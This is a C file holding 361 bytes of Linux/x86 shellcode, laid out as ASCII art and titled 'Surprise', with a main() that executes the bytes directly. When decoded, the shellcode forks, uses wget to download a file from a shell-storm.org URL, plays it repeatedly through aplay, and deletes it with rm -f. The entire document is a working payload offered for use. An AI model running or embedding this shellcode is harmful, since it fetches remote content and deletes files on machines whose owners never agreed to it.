/*
 | Title:     Linux/x86 - Surprise ! ! ! - 361 bytes
 | Date:      2011-06-27
 | Tested on: Debian 5.0.8
 | Author:    Florian Gaultier - agix - twitter: @Agixid
 |
 | Comment: You need alsa-utils 
 | http://shell-storm.org
*/

#include <stdio.h>
#include <string.h>
char code[] =
"\x31\xf6\x6a\x02\x58\xcd"
"\x80"
"\x85"
"\xc0"
"\x75"
"\x78\x56\x89\xe2\x89\xe1"
                    "\x80"
                    "\xea"
                    "\x0c"
                    "\x89"
"\xd4\x56\x6a\x62\x66\x68"

"\x78"              "\x2f"
"\x68"              "\x4c"
"\x69"              "\x6e"
"\x75"              "\x68"
"\x6f\x72\x67\x2f\x68\x6f"
"\x72"              "\x6d"
"\x2e"              "\x68"
"\x6c"              "\x2d"
"\x73"              "\x74"

"\x68\x73\x68\x65\x6c\x68"
"\x65"
"\x70"
"\x6f"
"\x2e"
"\x68\x3a\x2f\x2f"
"\x72"
"\x68"
"\x68"
"\x74"
"\x74\x70\x89\xe3\x89\xe2"

"\x89"
"\xcc"
"\x53"
"\x89"
"\xe1"
"\x89"
"\xd4"
"\x56"
"\x66\x68\x2d\x71\x89\xe3"

"\x89"
"\xe2"
"\x89"
"\xcc"
"\x53"
"\x89"
"\xe1"
"\x89"
"\xd4\x56\x6a\x74\x68\x2f"

     "\x77\x67\x65\x68"

"\x2f\x62\x69\x6e\x68\x2f"
"\x75"
"\x73"
"\x72"
"\x89"
"\xe3\x89\xe2\x89\xcc\x53"
                    "\x89"
                    "\xe1"
                    "\x89"
                    "\xd4"
"\x6a\x0b\x58\x31\xd2\xcd"

"\x80\x6a\x07\x58\x31\xdb"
          "\x4b"
          "\x31"
          "\xc9"
          "\x31"
          "\xd2"
          "\xcd"
          "\x80"
          "\x6a"
		  
"\x0b\x5f\x6a\x02\x58\xcd"
"\x80"              "\x85"
"\xc0"              "\x75"
"\x73"              "\x31"
"\xf6"              "\x56"
"\x89"              "\xe2"
"\x89"              "\xe1"
"\x80"              "\xea"
"\x14"              "\x89"
"\xd4\x56\x6a\x62\x89\xe3"

"\x89\xe2\x89\xcc\x53\x89"
"\xe1"              "\x89"
"\xd4"              "\x56"
"\x6a"              "\x30"
"\x68"              "\x39"
"\x30"              "\x30"
"\x30\x89\xe3\x89\xe2\x89"
"\xcc"
"\x53\x89"
"\xe1"  "\x89"
"\xd4"      "\x56"
"\x66"          "\x68"
"\x2d"              "\x72"

"\x89\xe3"       "\x89\xe2"
"\x89" "\xcc" "\x53" "\x89"
"\xe1"    "\x89"     "\xd4"
"\x56"    "\x66"     "\x68"
"\x2d"               "\x71"
"\x89"               "\xe3"
"\x89"               "\xe2"
"\x89"               "\xcc"


"\x53\x89\xe1\x89\xd4\x56"
"\x66\x68\x61\x79\x68\x2f"
"\x61\x70\x6c\x68\x2f\x62"
"\x69\x6e\x68\x2f\x75\x73"
"\x72\x89\xe3\x89\xe2\x89"
"\xcc\x53\x89\xe1\x89\xd4"
"\x6a\x0b\x58\x31\xd2\xcd"
"\x80\x6a\x07\x58\x31\xdb"
"\x4b\x31\xc9\x31\xd2\xcd"
"\x80\x4f\x85\xff\x0f\x85"
"\x6f\xff\xff\xff\x56\x89"
"\xe2\x89\xe1\x80\xea\x0c"
"\x89\xd4\x56\x6a\x62\x89"
"\xe3\x89\xe2\x89\xcc\x53"
"\x89\xe1\x89\xd4\x56\x66"
"\x68\x2d\x66\x89\xe3\x89"
"\xe2\x89\xcc\x53\x89\xe1"
"\x89\xd4\x56\x6a\x6d\x66"
"\x68\x2f\x72\x68\x2f\x62"
"\x69\x6e\x89\xe3\x89\xe2"
"\x89\xcc\x53\x89\xe1\x89"
"\xd4\x6a\x0b\x58\x31\xd2"
       "\xcd\x80";


int main(int argc, char **argv)
{
int(*f)()=(int(*)())code;
f();
}